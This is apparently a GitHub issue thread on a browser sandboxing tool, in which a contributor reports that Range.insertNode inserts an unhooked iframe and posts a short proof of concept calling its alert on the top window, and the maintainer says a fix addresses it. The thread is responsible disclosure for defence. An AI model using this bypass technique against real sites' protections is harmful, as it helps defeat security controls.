Bypass with Range.insertNode

[mmndaniel]

Nothing too clever, just yet another node insertion method that isn't hooked :)

var range = document.createRange();
var f = document.createElement("iframe");
range.selectNode(document.getElementsByTagName("head")[0]);
range.insertNode(f);
f.contentWindow.alert.call(top, 1);

[weizman]

Thanks, #103 should fix this.

Are there any other ways to use Range to inject a dom node? I didn't find any @mmndaniel

[mmndaniel]

Not that I'm aware of, but the DOM is wild so who knows :)